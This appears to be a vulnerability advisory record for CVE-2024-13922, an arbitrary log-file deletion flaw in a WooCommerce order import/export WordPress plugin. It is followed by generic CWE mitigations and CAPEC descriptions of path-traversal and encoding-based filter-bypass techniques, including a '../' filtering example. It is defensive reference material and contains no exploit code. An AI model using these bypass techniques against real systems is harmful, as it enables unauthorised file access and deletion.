{
  "affected": [],
  "aliases": [
    "CVE-2024-13922"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T12:15:13Z",
    "severity": "LOW"
  },
  "details": "The Order Export \u0026 Order Import for WooCommerce plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the admin_log_page() function in all versions up to, and including, 2.6.0. This makes it possible for authenticated attackers, with Administrator-level access and above, to delete arbitrary log files on the server.",
  "id": "GHSA-jrhv-8gfh-55w6",
  "modified": "2025-03-20T12:32:53Z",
  "published": "2025-03-20T12:32:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13922"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/order-import-export-for-woocommerce/trunk/admin/modules/history/history.php#L248"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3258567"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/product-import-export-for-woo/#developers"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4eb8f85f-656a-4e5a-a57d-7289da2cd951?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.

Mitigation
Architecture and Design Operation
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Implementation

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).

Mitigation
Installation Operation

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Mitigation
Operation Implementation

If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Mitigation
Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

CAPEC-13: Subverting Environment Variable Values

The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.

CAPEC-267: Leverage Alternate Encoding

An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-72: URL Encoding

This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.

CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic

This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.